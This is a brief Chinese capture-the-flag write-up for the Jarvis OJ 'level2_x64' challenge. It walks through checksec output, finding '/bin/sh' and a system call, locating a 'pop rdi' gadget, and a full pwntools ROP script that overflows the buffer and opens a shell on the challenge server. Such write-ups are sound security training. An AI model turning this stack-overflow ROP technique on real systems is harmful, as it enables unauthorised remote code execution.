Jarvis OJ [XMAN]level2(x64)

xiaoxiao2021-02-28  63

liu@liu-F117-F:~/桌面/oj/level2_x64$ checksec level2_x64 [*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level2_x64/level2_x64' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

只开启了NX保护,64位的系统

data:0000000000600A90 hint db '/bin/sh',0

有/bin/sh字符串

text:000000000040063E call _system

有call system 为了让它们连接到一起需要给system函数传递参数要用到ROP用程序自带的内容实现一些不可告人的操作。

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。所以我们要想办法向rdi里面写入参数

liu@liu-F117-F:~/桌面/oj/level2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi 0x00000000004006b3 : pop rdi ; ret

运气不错,搜索到了。

from pwn import * system_addr=0x000000000040063E poprdi_drt=0x00000000004006b3 binsh_addr=0x0000000000600A90 p=remote("pwn2.jarvisoj.com",9882) p.recvline() payload='A'*0x80+"A"*8+p64(poprdi_drt)+p64(binsh_addr)+p64(system_addr) p.send(payload) p.interactive()

这里重要的是payload的构造。相比起来32位略显不好控制。不过只要控制住pop传参,传完之后rbp的位置,就能pwn

转载请注明原文地址: https://www.6miu.com/read-2631017.html

最新回复(0)